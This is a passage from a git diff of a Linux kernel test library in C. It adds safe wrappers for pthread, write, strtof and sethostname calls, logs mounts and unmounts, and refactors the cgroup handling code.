SAFE_PTHREAD_CREATE(&pair.thread_b, 0, worker, &i); while (tst_fzsync_run_a(&pair)) { @@ -232,4 +227,5 @@ static struct tst_test test = { .test = run, .setup = setup, .cleanup = cleanup, + .max_runtime = 150, }; diff --git a/lib/newlib_tests/tst_fuzzy_sync02.c b/lib/newlib_tests/tst_fuzzy_sync02.c index 51075f3c..afe4973b 100755 --- a/lib/newlib_tests/tst_fuzzy_sync02.c +++ b/lib/newlib_tests/tst_fuzzy_sync02.c @@ -125,16 +125,11 @@ static void run(unsigned int i) { const struct window a = to_abs(races[i].a); const struct window ad = to_abs(races[i].ad); - struct tst_fzsync_run_thread wrap_run_b = { - .func = worker, - .arg = &i, - }; int critical = 0; int now, fin; tst_fzsync_pair_reset(&pair, NULL); - SAFE_PTHREAD_CREATE(&pair.thread_b, 0, tst_fzsync_thread_wrapper, - &wrap_run_b); + SAFE_PTHREAD_CREATE(&pair.thread_b, 0, worker, &i); while (tst_fzsync_run_a(&pair)) { c = 0; @@ -174,4 +169,5 @@ static struct tst_test test = { .test = run, .setup = setup, .cleanup = cleanup, + .max_runtime = 150, }; diff --git a/lib/newlib_tests/tst_fuzzy_sync03.c b/lib/newlib_tests/tst_fuzzy_sync03.c index 0d74e1ea..47ce7675 100755 --- a/lib/newlib_tests/tst_fuzzy_sync03.c +++ b/lib/newlib_tests/tst_fuzzy_sync03.c @@ -99,4 +99,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test_all = run, + .max_runtime = 150, }; diff --git a/lib/random_range.c b/lib/random_range.c index 510a4a1f..4c96fd91 100755 --- a/lib/random_range.c +++ b/lib/random_range.c @@ -80,7 +80,7 @@ struct range { * into an integer, or >= 0 if it was successfully * parsed. The resulting integer will be stored in * *val. If parse_func is NULL, parse_ranges will parse - * the tokens in a manner consistent with the the sscanf + * the tokens in a manner consistent with the sscanf * %i format. * range_ptr A user-supplied char **, which will be set to point * at malloc'd space which holds the parsed range diff --git a/lib/safe_file_ops.c b/lib/safe_file_ops.c index f803691d..63ae2dbb 100755 --- a/lib/safe_file_ops.c +++ b/lib/safe_file_ops.c @@ -76,7 +76,7 @@ int file_scanf(const char *file, const int lineno, f = fopen(path, "r"); if (f == NULL) { - tst_resm_(file, lineno, TWARN, "Failed to open FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to open FILE '%s'", path); return 1; } @@ -88,20 +88,20 @@ int file_scanf(const char *file, const int lineno, va_end(va); if (ret == EOF) { - tst_resm_(file, lineno, TWARN, + tst_resm_(file, lineno, TINFO, "The FILE '%s' ended prematurely", path); goto err; } if (ret != exp_convs) { - tst_resm_(file, lineno, TWARN, + tst_resm_(file, lineno, TINFO, "Expected %i conversions got %i FILE '%s'", exp_convs, ret, path); goto err; } if (fclose(f)) { - tst_resm_(file, lineno, TWARN, "Failed to close FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to close FILE '%s'", path); return 1; } @@ -110,7 +110,7 @@ int file_scanf(const char *file, const int lineno, err: if (fclose(f)) { - tst_resm_(file, lineno, TWARN, "Failed to close FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to close FILE '%s'", path); } @@ -218,7 +218,7 @@ int file_printf(const char *file, const int lineno, f = fopen(path, "w"); if (f == NULL) { - tst_resm_(file, lineno, TWARN, "Failed to open FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to open FILE '%s'", path); return 1; } @@ -226,7 +226,7 @@ int file_printf(const char *file, const int lineno, va_start(va, fmt); if (vfprintf(f, fmt, va) < 0) { - tst_resm_(file, lineno, TWARN, "Failed to print to FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to print to FILE '%s'", path); goto err; } @@ -234,7 +234,7 @@ int file_printf(const char *file, const int lineno, va_end(va); if (fclose(f)) { - tst_resm_(file, lineno, TWARN, "Failed to close FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to close FILE '%s'", path); return 1; } @@ -243,7 +243,7 @@ int file_printf(const char *file, const int lineno, err: if (fclose(f)) { - tst_resm_(file, lineno, TWARN, "Failed to close FILE '%s'", + tst_resm_(file, lineno, TINFO, "Failed to close FILE '%s'", path); } diff --git a/lib/safe_macros.c b/lib/safe_macros.c index a5b6bc50..951e1b06 100755 --- a/lib/safe_macros.c +++ b/lib/safe_macros.c @@ -13,7 +13,6 @@ #include #include #include -#include #include #include #include @@ -21,6 +20,8 @@ #include #include #include +#include +#include "lapi/fcntl.h" #include "test.h" #include "safe_macros.h" @@ -236,18 +237,21 @@ int safe_munmap(const char *file, const int lineno, void (*cleanup_fn) (void), int safe_open(const char *file, const int lineno, void (*cleanup_fn) (void), const char *pathname, int oflags, ...) { - va_list ap; int rval; - mode_t mode; + mode_t mode = 0; - va_start(ap, oflags); + if (TST_OPEN_NEEDS_MODE(oflags)) { + va_list ap; - /* Android's NDK's mode_t is smaller than an int, which results in - * SIGILL here when passing the mode_t type. - */ - mode = va_arg(ap, int); + va_start(ap, oflags); + + /* Android's NDK's mode_t is smaller than an int, which results in + * SIGILL here when passing the mode_t type. + */ + mode = va_arg(ap, int); - va_end(ap); + va_end(ap); + } rval = open(pathname, oflags, mode); @@ -524,20 +528,42 @@ int safe_symlink(const char *file, const int lineno, } ssize_t safe_write(const char *file, const int lineno, void (cleanup_fn) (void), - char len_strict, int fildes, const void *buf, size_t nbyte) + enum safe_write_opts len_strict, int fildes, const void *buf, + size_t nbyte) { ssize_t rval; + const void *wbuf = buf; + size_t len = nbyte; + int iter = 0; + + do { + iter++; + rval = write(fildes, wbuf, len); + if (rval == -1) { + if (len_strict == SAFE_WRITE_RETRY) + tst_resm_(file, lineno, TINFO, + "write() wrote %zu bytes in %d calls", + nbyte-len, iter); + tst_brkm_(file, lineno, TBROK | TERRNO, + cleanup_fn, "write(%d,%p,%zu) failed", + fildes, buf, nbyte); + } - rval = write(fildes, buf, nbyte); + if (len_strict == SAFE_WRITE_ANY) + return rval; - if (rval == -1 || (len_strict && (size_t)rval != nbyte)) { - tst_brkm_(file, lineno, TBROK | TERRNO, cleanup_fn, - "write(%d,%p,%zu) failed", fildes, buf, nbyte); - } else if (rval < 0) { - tst_brkm_(file, lineno, TBROK | TERRNO, cleanup_fn, - "Invalid write(%d,%p,%zu) return value %zd", fildes, - buf, nbyte, rval); - } + if (len_strict == SAFE_WRITE_ALL) { + if ((size_t)rval != nbyte) + tst_brkm_(file, lineno, TBROK | TERRNO, + cleanup_fn, "short write(%d,%p,%zu) " + "return value %zd", + fildes, buf, nbyte, rval); + return rval; + } + + wbuf += rval; + len -= rval; + } while (len > 0); return rval; } @@ -591,6 +617,12 @@ unsigned long safe_strtoul(const char *file, const int lineno, return rval; } + if (endptr == str || (*endptr != '\0' && *endptr != '\n')) { + tst_brkm_(file, lineno, TBROK, cleanup_fn, + "Invalid value: '%s'", str); + return 0; + } + if (rval > max || rval < min) { tst_brkm_(file, lineno, TBROK, cleanup_fn, "strtoul(%s): %lu is out of range %lu - %lu", @@ -598,12 +630,38 @@ unsigned long safe_strtoul(const char *file, const int lineno, return 0; } + return rval; +} + +float safe_strtof(const char *file, const int lineno, + void (cleanup_fn) (void), char *str, + float min, float max) +{ + float rval; + char *endptr; + + errno = 0; + rval = strtof(str, &endptr); + + if (errno) { + tst_brkm_(file, lineno, TBROK | TERRNO, cleanup_fn, + "strtof(%s) failed", str); + return rval; + } + if (endptr == str || (*endptr != '\0' && *endptr != '\n')) { tst_brkm_(file, lineno, TBROK, cleanup_fn, "Invalid value: '%s'", str); return 0; } + if (rval > max || rval < min) { + tst_brkm_(file, lineno, TBROK, cleanup_fn, + "strtof(%s): %f is out of range %f - %f", + str, rval, min, max); + return 0; + } + return rval; } @@ -840,7 +898,16 @@ int safe_mount(const char *file, const int lineno, void (*cleanup_fn)(void), const void *data) { int rval = -1; + char mpath[PATH_MAX]; + if (realpath(target, mpath)) { + tst_resm_(file, lineno, TINFO, + "Mounting %s to %s fstyp=%s flags=%lx", + source, mpath, filesystemtype, mountflags); + } else { + tst_resm_(file, lineno, TINFO | TERRNO, + "Cannot resolve the absolute path of %s", target); + } /* * Don't try using the kernel's NTFS driver when mounting NTFS, since * the kernel's NTFS driver doesn't have proper write support. @@ -890,6 +957,14 @@ int safe_umount(const char *file, const int lineno, void (*cleanup_fn)(void), const char *target) { int rval; + char mpath[PATH_MAX]; + + if (realpath(target, mpath)) { + tst_resm_(file, lineno, TINFO, "Umounting %s", mpath); + } else { + tst_resm_(file, lineno, TINFO | TERRNO, + "Cannot resolve the absolute path of %s", target); + } rval = tst_umount(target); @@ -1011,7 +1086,8 @@ int safe_setxattr(const char *file, const int lineno, const char *path, if (rval == -1) { if (errno == ENOTSUP) { tst_brkm_(file, lineno, TCONF, NULL, - "no xattr support in fs or mounted without user_xattr option"); + "no xattr support in fs, mounted without user_xattr option " + "or invalid namespace/name format"); return rval; } @@ -1037,7 +1113,8 @@ int safe_lsetxattr(const char *file, const int lineno, const char *path, if (rval == -1) { if (errno == ENOTSUP) { tst_brkm_(file, lineno, TCONF, NULL, - "no xattr support in fs or mounted without user_xattr option"); + "no xattr support in fs, mounted without user_xattr option " + "or invalid namespace/name format"); return rval; } @@ -1063,7 +1140,8 @@ int safe_fsetxattr(const char *file, const int lineno, int fd, const char *name, if (rval == -1) { if (errno == ENOTSUP) { tst_brkm_(file, lineno, TCONF, NULL, - "no xattr support in fs or mounted without user_xattr option"); + "no xattr support in fs, mounted without user_xattr option " + "or invalid namespace/name format"); return rval; } diff --git a/lib/safe_net.c b/lib/safe_net.c index 1717f074..5dec0de1 100755 --- a/lib/safe_net.c +++ b/lib/safe_net.c @@ -469,6 +469,23 @@ int safe_gethostname(const char *file, const int lineno, return rval; } +int safe_sethostname(const char *file, const int lineno, + const char *name, size_t size) +{ + int rval = sethostname(name, size); + + if (rval == -1) { + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, + "sethostname(%p, %zu) failed", name, size); + } else if (rval) { + tst_brkm_(file, lineno, TBROK | TERRNO, NULL, + "Invalid sethostname(%p, %zu) return value %d", name, + size, rval); + } + + return rval; +} + /* * @return port in network byte order. */ diff --git a/lib/safe_pthread.c b/lib/safe_pthread.c index 2866aa59..aeafe014 100755 --- a/lib/safe_pthread.c +++ b/lib/safe_pthread.c @@ -41,3 +41,229 @@ int safe_pthread_join(const char *file, const int lineno, return rval; } + +int safe_pthread_barrier_wait(const char *file, const int lineno, + pthread_barrier_t *barrier) +{ + int rval; + + rval = pthread_barrier_wait(barrier); + + if (rval && rval != PTHREAD_BARRIER_SERIAL_THREAD) { + tst_brk_(file, lineno, TBROK, + "pthread_barrier_wait(%p) failed: %s", + barrier, tst_strerrno(rval)); + } + + return rval; +} + +int safe_pthread_barrier_destroy(const char *file, const int lineno, + pthread_barrier_t *barrier) +{ + int rval; + + rval = pthread_barrier_destroy(barrier); + + if (rval) { + tst_brk_(file, lineno, TBROK, + "pthread_barrier_destroy(%p) failed: %s", + barrier, tst_strerrno(rval)); + } + + return rval; +} + +int safe_pthread_cancel(const char *file, const int lineno, + pthread_t thread_id) +{ + int rval; + + rval = pthread_cancel(thread_id); + + if (rval) { + tst_brk_(file, lineno, TBROK, + "pthread_cancel(...) failed: %s", tst_strerrno(rval)); + } + + return rval; +} + +int safe_pthread_barrier_init(const char *file, const int lineno, + pthread_barrier_t *barrier, + const pthread_barrierattr_t *attr, + unsigned count) +{ + int rval; + + rval = pthread_barrier_init(barrier, attr, count); + + if (rval) { + tst_brk_(file, lineno, TBROK, + "pthread_barrier_init(%p, %p, %u)failed: %s", + barrier, attr, count, tst_strerrno(rval)); + } + + return rval; +} + +int safe_pthread_mutexattr_init(const char *file, const int lineno, + pthread_mutexattr_t *attr) +{ + int ret; + + ret = pthread_mutexattr_init(attr); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutexattr_init(%p) failed: %s", + attr, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutexattr_destroy(const char *file, const int lineno, + pthread_mutexattr_t *attr) +{ + int ret; + + ret = pthread_mutexattr_destroy(attr); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutexattr_destroy(%p) failed: %s", + attr, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutexattr_settype(const char *file, const int lineno, + pthread_mutexattr_t *attr, int type) +{ + int ret; + + ret = pthread_mutexattr_settype(attr, type); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutexattr_settype(%p, %d) failed: %s", + attr, type, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutex_init(const char *file, const int lineno, + pthread_mutex_t *mutex, const pthread_mutexattr_t *attr) +{ + int ret; + + ret = pthread_mutex_init(mutex, attr); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutex_init(%p, %p) failed: %s", + mutex, attr, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutex_destroy(const char *file, const int lineno, + pthread_mutex_t *mutex) +{ + int ret; + + ret = pthread_mutex_destroy(mutex); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutex_destroy(%p) failed: %s", + mutex, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutex_lock(const char *file, const int lineno, + pthread_mutex_t *mutex) +{ + int ret; + + ret = pthread_mutex_lock(mutex); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutex_lock(%p) failed: %s", + mutex, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutex_trylock(const char *file, const int lineno, + pthread_mutex_t *mutex) +{ + int ret; + + ret = pthread_mutex_trylock(mutex); + + if (ret && ret != EBUSY) { + tst_brk_(file, lineno, TBROK, + "pthread_mutex_trylock(%p) failed: %s", + mutex, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutex_timedlock(const char *file, const int lineno, + pthread_mutex_t *mutex, const struct timespec *abstime) +{ + int ret; + + ret = pthread_mutex_timedlock(mutex, abstime); + + if (ret && ret != ETIMEDOUT) { + tst_brk_(file, lineno, TBROK, + "pthread_mutex_timedlock(%p, {%lld, %ld}) failed: %s", + mutex, (long long)abstime->tv_sec, abstime->tv_nsec, + tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_mutex_unlock(const char *file, const int lineno, + pthread_mutex_t *mutex) +{ + int ret; + + ret = pthread_mutex_unlock(mutex); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_mutex_unlock(%p) failed: %s", + mutex, tst_strerrno(ret)); + } + + return ret; +} + +int safe_pthread_kill(const char *file, const int lineno, + pthread_t thread, int sig) +{ + int ret; + + ret = pthread_kill(thread, sig); + + if (ret) { + tst_brk_(file, lineno, TBROK, + "pthread_kill(..., %d) failed: %s", + sig, tst_strerrno(ret)); + } + + return ret; +} diff --git a/lib/tests/.gitignore b/lib/tests/.gitignore new file mode 100644 index 00000000..1d880c1b --- /dev/null +++ b/lib/tests/.gitignore @@ -0,0 +1,17 @@ +/tst_tmpdir_test +/tst_checkpoint +/tst_checkpoint_wait_timeout +/tst_checkpoint_wake_timeout +/tst_process_state +/tst_cleanup_once +/tst_safe_macros +/tst_strsig +/tst_strerrno +/tst_fs_fill_subdirs +/tst_fs_fill_hardlinks +/tst_device +/tst_record_childstatus +/trerrno +/tst_dataroot01 +/tst_dataroot02 +/tst_dataroot03 diff --git a/lib/tests/tst_safe_macros.c b/lib/tests/tst_safe_macros.c index b5809f40..5c427ee1 100755 --- a/lib/tests/tst_safe_macros.c +++ b/lib/tests/tst_safe_macros.c @@ -31,9 +31,9 @@ int main(int argc LTP_ATTRIBUTE_UNUSED, char **argv) printf("buf: %s\n", buf); SAFE_READ(cleanup, 1, fd, buf, 9); printf("buf: %s\n", buf); - SAFE_WRITE(cleanup, 0, -1, buf, 9); - SAFE_WRITE(NULL, 0, fd, buf, 9); - SAFE_WRITE(NULL, 1, fd, buf, 9); + SAFE_WRITE(cleanup, SAFE_WRITE_ANY, -1, buf, 9); + SAFE_WRITE(NULL, SAFE_WRITE_ANY, fd, buf, 9); + SAFE_WRITE(NULL, SAFE_WRITE_ALL, fd, buf, 9); SAFE_PIPE(NULL, fds); return 0; diff --git a/lib/tests/tst_tmpdir_test.c b/lib/tests/tst_tmpdir_test.c index f394893a..77453758 100755 --- a/lib/tests/tst_tmpdir_test.c +++ b/lib/tests/tst_tmpdir_test.c @@ -26,7 +26,7 @@ * * This program creates and deletes a temporary file in order to test * the functionality of the tst_tmpdir functionality. - * On successfull completion it prints the message: + * On successful completion it prints the message: * "Test completed successfully!" */ diff --git a/lib/tlibio.c b/lib/tlibio.c index cc110d1c..2ecdbb42 100755 --- a/lib/tlibio.c +++ b/lib/tlibio.c @@ -195,7 +195,7 @@ static volatile int Rec_signal; static volatile int Received_callback = 0; /* number of callbacks received */ static volatile int Rec_callback; #endif -static char Errormsg[500]; +static char Errormsg[PATH_MAX*2]; static int Debug_level = 0; /*********************************************************************** @@ -539,6 +539,10 @@ int lio_write_buffer(int fd, /* open file descriptor */ long wrd) /* to allow future features, use zero for now */ { int ret = 0; /* syscall return or used to get random method */ + /* as we cycle writes in case of partial writes, we have to report up + * total bytes written + */ + int totally_written = 0; char *io_type; /* Holds string of type of io */ int omethod = method; int listio_cmd; /* Holds the listio/lio_listio cmd */ @@ -745,13 +749,14 @@ int lio_write_buffer(int fd, /* open file descriptor */ fd, size, ret); size -= ret; buffer += ret; + totally_written += ret; } else { if (Debug_level > 1) printf ("DEBUG %s/%d: write completed without error (ret %d)\n", __FILE__, __LINE__, ret); - return ret; + return totally_written + ret; } } wait4sync_io(fd, 0); @@ -1109,6 +1114,10 @@ int lio_read_buffer(int fd, /* open file descriptor */ long wrd) /* to allow future features, use zero for now */ { int ret = 0; /* syscall return or used to get random method */ + /* as we cycle reads in case of partial reads, we have to report up + * total bytes read + */ + int totally_read = 0; char *io_type; /* Holds string of type of io */ int listio_cmd; /* Holds the listio/lio_listio cmd */ int omethod = method; @@ -1320,13 +1329,14 @@ int lio_read_buffer(int fd, /* open file descriptor */ fd, size, ret); size -= ret; buffer += ret; + totally_read += ret; } else { if (Debug_level > 1) printf ("DEBUG %s/%d: read completed without error (ret %d)\n", __FILE__, __LINE__, ret); - return ret; + return totally_read + ret; } } wait4sync_io(fd, 1); diff --git a/lib/tst_assert.c b/lib/tst_assert.c index 9b8ebc16..b68bd5d3 100755 --- a/lib/tst_assert.c +++ b/lib/tst_assert.c @@ -57,7 +57,7 @@ void tst_assert_str(const char *file, const int lineno, const char *path, const { char sys_val[1024]; - safe_file_scanf(file, lineno, NULL, path, "%1024s", sys_val); + safe_file_scanf(file, lineno, NULL, path, "%1023s", sys_val); if (!strcmp(val, sys_val)) { tst_res_(file, lineno, TPASS, "%s = '%s'", path, val); return; @@ -71,7 +71,7 @@ void tst_assert_file_str(const char *file, const int lineno, const char *path, c char sys_val[1024]; char fmt[2048]; - snprintf(fmt, sizeof(fmt), "%s: %%1024s", prefix); + snprintf(fmt, sizeof(fmt), "%s: %%1023s", prefix); file_lines_scanf(file, lineno, NULL, 1, path, fmt, sys_val); if (!strcmp(val, sys_val)) { diff --git a/lib/tst_bool_expr.c b/lib/tst_bool_expr.c index 15825e36..d7983e7b 100755 --- a/lib/tst_bool_expr.c +++ b/lib/tst_bool_expr.c @@ -9,7 +9,7 @@ * tokenizer runs twice and we only count number of tokens in the first pass in * order to simplify the memory allocation. * - * Secondly the the expression is transformed to a postfix (RPN) notation by + * Secondly the expression is transformed to a postfix (RPN) notation by * the shunting yard algorithm and the correctness of the expression is checked * during the transformation as well. The fact that parenthesis are matched is * asserted by the shunting yard algorithm itself while the rest is checked diff --git a/lib/tst_buffers.c b/lib/tst_buffers.c index b8b597a1..b0bd359e 100755 --- a/lib/tst_buffers.c +++ b/lib/tst_buffers.c @@ -5,6 +5,7 @@ #include #include +#include #define TST_NO_DEFAULT_MAIN #include "tst_test.h" @@ -76,6 +77,25 @@ void *tst_alloc(size_t size) return ret + map->buf_shift; } +char *tst_aprintf(const char *fmt, ...) +{ + va_list va; + int len; + char *ret; + + va_start(va, fmt); + len = vsnprintf(NULL, 0, fmt, va)+1; + va_end(va); + + ret = tst_alloc(len); + + va_start(va, fmt); + vsprintf(ret, fmt, va); + va_end(va); + + return ret; +} + static int count_iovec(int *sizes) { int ret = 0; @@ -115,15 +135,17 @@ void tst_buffers_alloc(struct tst_buffers bufs[]) for (i = 0; bufs[i].ptr; i++) { if (bufs[i].size) *((void**)bufs[i].ptr) = tst_alloc(bufs[i].size); - else + else if (bufs[i].iov_sizes) *((void**)bufs[i].ptr) = tst_iovec_alloc(bufs[i].iov_sizes); + else + *((void**)bufs[i].ptr) = tst_strdup(bufs[i].str); } } char *tst_strdup(const char *str) { - size_t len = strlen(str); - char *ret = tst_alloc(len + 1); + char *ret = tst_alloc(strlen(str) + 1); + return strcpy(ret, str); } diff --git a/lib/tst_cgroup.c b/lib/tst_cgroup.c index 2ef599d9..5240aada 100755 --- a/lib/tst_cgroup.c +++ b/lib/tst_cgroup.c @@ -11,14 +11,12 @@ #include #include #include -#include #include "tst_test.h" #include "lapi/fcntl.h" #include "lapi/mount.h" #include "lapi/mkdirat.h" #include "tst_safe_file_at.h" -#include "tst_cgroup.h" struct cgroup_root; @@ -52,7 +50,7 @@ struct cgroup_dir { /* The root of a CGroup hierarchy/tree */ struct cgroup_root { - enum tst_cgroup_ver ver; + enum tst_cg_ver ver; /* A mount path */ char mnt_path[PATH_MAX]; /* Subsystems (controllers) bit field. Includes all @@ -84,8 +82,22 @@ enum cgroup_ctrl_indx { CTRL_MEMORY = 1, CTRL_CPU, CTRL_CPUSET, + CTRL_IO, + CTRL_PIDS, + CTRL_HUGETLB, + CTRL_CPUACCT, + CTRL_DEVICES, + CTRL_FREEZER, + CTRL_NETCLS, + CTRL_NETPRIO, + CTRL_BLKIO, + CTRL_MISC, + CTRL_PERFEVENT, + CTRL_DEBUG, + CTRL_RDMA, + CTRL_BASE }; -#define CTRLS_MAX CTRL_CPUSET +#define CTRLS_MAX CTRL_BASE /* At most we can have one cgroup V1 tree for each controller and one * (empty) v2 tree. @@ -128,7 +140,7 @@ struct cgroup_ctrl { int we_require_it:1; }; -struct tst_cgroup_group { +struct tst_cg_group { char group_name[NAME_MAX + 1]; /* Maps controller ID to the tree which contains it. The V2 * tree is at zero even if it contains no controllers. @@ -138,6 +150,14 @@ struct tst_cgroup_group { struct cgroup_dir *dirs[ROOTS_MAX + 1]; }; +/* If controllers are required via the tst_test struct then this is + * populated with the test's CGroup. + */ +static struct tst_cg_group test_group; +static struct tst_cg_group drain_group; +const struct tst_cg_group *const tst_cg = &test_group; +const struct tst_cg_group *const tst_cg_drain = &drain_group; + /* Always use first item for unified hierarchy */ static struct cgroup_root roots[ROOTS_MAX + 1]; @@ -147,11 +167,15 @@ static const struct cgroup_file cgroup_ctrl_files[] = { { "cgroup.controllers", NULL, 0 }, { "cgroup.subtree_control", NULL, 0 }, { "cgroup.clone_children", "cgroup.clone_children", 0 }, + { "cgroup.kill", NULL, 0 }, { } }; static const struct cgroup_file memory_ctrl_files[] = { { "memory.current", "memory.usage_in_bytes", CTRL_MEMORY }, + { "memory.events", NULL, CTRL_MEMORY }, + { "memory.low", NULL, CTRL_MEMORY }, + { "memory.min", NULL, CTRL_MEMORY }, { "memory.max", "memory.limit_in_bytes", CTRL_MEMORY }, { "memory.stat", "memory.stat", CTRL_MEMORY }, { "memory.swappiness", "memory.swappiness", CTRL_MEMORY }, @@ -181,30 +205,99 @@ static const struct cgroup_file cpuset_ctrl_files[] = { { } }; +static const struct cgroup_file io_ctrl_files[] = { + { "io.stat", NULL, CTRL_IO }, + { } +}; + +static const struct cgroup_file pids_ctrl_files[] = { + { "pids.max", "pids.max", CTRL_PIDS }, + { "pids.current", "pids.current", CTRL_PIDS }, + { } +}; + +static const struct cgroup_file hugetlb_ctrl_files[] = { + { } +}; + +static const struct cgroup_file cpuacct_ctrl_files[] = { + { } +}; + +static const struct cgroup_file devices_ctrl_files[] = { + { } +}; + +static const struct cgroup_file freezer_ctrl_files[] = { + { } +}; + +static const struct cgroup_file net_cls_ctrl_files[] = { + { } +}; + +static const struct cgroup_file net_prio_ctrl_files[] = { + { } +}; + +static const struct cgroup_file blkio_ctrl_files[] = { + { } +}; + +static const struct cgroup_file misc_ctrl_files[] = { + { } +}; + +static const struct cgroup_file perf_event_ctrl_files[] = { + { } +}; + +static const struct cgroup_file debug_ctrl_files[] = { + { } +}; + +static const struct cgroup_file rdma_ctrl_files[] = { + { } +}; + +static const struct cgroup_file base_ctrl_files[] = { + { } +}; + +#define CTRL_NAME_MAX 31 +#define CGROUP_CTRL_MEMBER(x, y)[y] = { .ctrl_name = #x, .files = \ + x ## _ctrl_files, .ctrl_indx = y, NULL, 0 } + /* Lookup tree for item names. */ static struct cgroup_ctrl controllers[] = { - [0] = { "cgroup", cgroup_ctrl_files, 0, NULL, 0 }, - [CTRL_MEMORY] = { - "memory", memory_ctrl_files, CTRL_MEMORY, NULL, 0 - }, - [CTRL_CPU] = { - "cpu", cpu_ctrl_files, CTRL_CPU, NULL, 0 - }, - [CTRL_CPUSET] = { - "cpuset", cpuset_ctrl_files, CTRL_CPUSET, NULL, 0 - }, + CGROUP_CTRL_MEMBER(cgroup, 0), + CGROUP_CTRL_MEMBER(memory, CTRL_MEMORY), + CGROUP_CTRL_MEMBER(cpu, CTRL_CPU), + CGROUP_CTRL_MEMBER(cpuset, CTRL_CPUSET), + CGROUP_CTRL_MEMBER(io, CTRL_IO), + CGROUP_CTRL_MEMBER(pids, CTRL_PIDS), + CGROUP_CTRL_MEMBER(hugetlb, CTRL_HUGETLB), + CGROUP_CTRL_MEMBER(cpuacct, CTRL_CPUACCT), + CGROUP_CTRL_MEMBER(devices, CTRL_DEVICES), + CGROUP_CTRL_MEMBER(freezer, CTRL_FREEZER), + CGROUP_CTRL_MEMBER(net_cls, CTRL_NETCLS), + CGROUP_CTRL_MEMBER(net_prio, CTRL_NETPRIO), + CGROUP_CTRL_MEMBER(blkio, CTRL_BLKIO), + CGROUP_CTRL_MEMBER(misc, CTRL_MISC), + CGROUP_CTRL_MEMBER(perf_event, CTRL_PERFEVENT), + CGROUP_CTRL_MEMBER(debug, CTRL_DEBUG), + CGROUP_CTRL_MEMBER(rdma, CTRL_RDMA), + CGROUP_CTRL_MEMBER(base, CTRL_BASE), { } }; -static const struct tst_cgroup_opts default_opts = { 0 }; - /* We should probably allow these to be set in environment * variables */ static const char *cgroup_ltp_dir = "ltp"; static const char *cgroup_ltp_drain_dir = "drain"; static char cgroup_test_dir[NAME_MAX + 1]; -static const char *cgroup_mount_ltp_prefix = "/tmp/cgroup_"; +static const char *cgroup_mount_ltp_prefix = "cgroup_"; static const char *cgroup_v2_ltp_mount = "unified"; #define first_root \ @@ -214,7 +307,7 @@ static const char *cgroup_v2_ltp_mount = "unified"; #define for_each_v1_root(r) \ for ((r) = roots + 1; (r)->ver; (r)++) #define for_each_ctrl(ctrl) \ - for ((ctrl) = controllers + 1; (ctrl)->ctrl_name; (ctrl)++) + for ((ctrl) = controllers; (ctrl)->ctrl_name; (ctrl)++) /* In all cases except one, this only loops once. * @@ -260,7 +353,7 @@ static int cgroup_mounted(void) __attribute__ ((nonnull, warn_unused_result)) static int cgroup_ctrl_on_v2(const struct cgroup_ctrl *const ctrl) { - return ctrl->ctrl_root && ctrl->ctrl_root->ver == TST_CGROUP_V2; + return ctrl->ctrl_root && ctrl->ctrl_root->ver == TST_CG_V2; } __attribute__ ((nonnull)) @@ -290,6 +383,9 @@ static void cgroup_dir_mk(const struct cgroup_dir *const parent, tst_brk(TCONF | TERRNO, "Lack permission to make '%s/%s'; premake it or run as root", dpath, dir_name); + } else if (errno == EROFS) { + tst_brk(TCONF | TERRNO, "'%s/%s' must not be read-only", + dpath, dir_name); } else { tst_brk(TBROK | TERRNO, "mkdirat(%d<%s>, '%s', 0777)", @@ -301,39 +397,132 @@ opendir: O_PATH | O_DIRECTORY); } -void tst_cgroup_print_config(void) +#define PATH_MAX_STRLEN 4095 +#define CONFIG_HEADER "ctrl_name ver we_require_it mnt_path we_mounted_it ltp_dir.we_created_it test_dir.dir_name" +#define CONFIG_FORMAT "%" TST_TO_STR(CTRL_NAME_MAX) "s\t%d\t%d\t%" TST_TO_STR(PATH_MAX_STRLEN) "s\t%d\t%d\t%" TST_TO_STR(NAME_MAX) "s" +/* Prints out the state associated with each controller to be consumed by + * tst_cg_load_config. + * + * The config keeps track of the minimal state needed for tst_cg_cleanup + * to cleanup mounts and directories made by tst_cg_require. + */ +void tst_cg_print_config(void) { - struct cgroup_root *root; const struct cgroup_ctrl *ctrl; - tst_res(TINFO, "Detected Controllers:"); + printf("%s\n", CONFIG_HEADER); for_each_ctrl(ctrl) { - root = ctrl->ctrl_root; + struct cgroup_root *root = ctrl->ctrl_root; if (!root) continue; - tst_res(TINFO, "\t%.10s %s @ %s:%s", + printf("%s\t%d\t%d\t%s\t%d\t%d\t%s\n", ctrl->ctrl_name, - root->no_cpuset_prefix ? "[noprefix]" : "", - root->ver == TST_CGROUP_V1 ? "V1" : "V2", - root->mnt_path); + root->ver, + ctrl->we_require_it, + root->mnt_path, + root->we_mounted_it, + root->ltp_dir.we_created_it, + root->test_dir.dir_name ? root->test_dir.dir_name : "NULL"); } } __attribute__ ((nonnull, warn_unused_result)) static struct cgroup_ctrl *cgroup_find_ctrl(const char *const ctrl_name) { - struct cgroup_ctrl *ctrl = controllers; + struct cgroup_ctrl *ctrl; + + for_each_ctrl(ctrl) { + if (!strcmp(ctrl_name, ctrl->ctrl_name)) + return ctrl; + } + + return NULL; +} + +static struct cgroup_root *cgroup_find_root(const char *const mnt_path) +{ + struct cgroup_root *root; + + 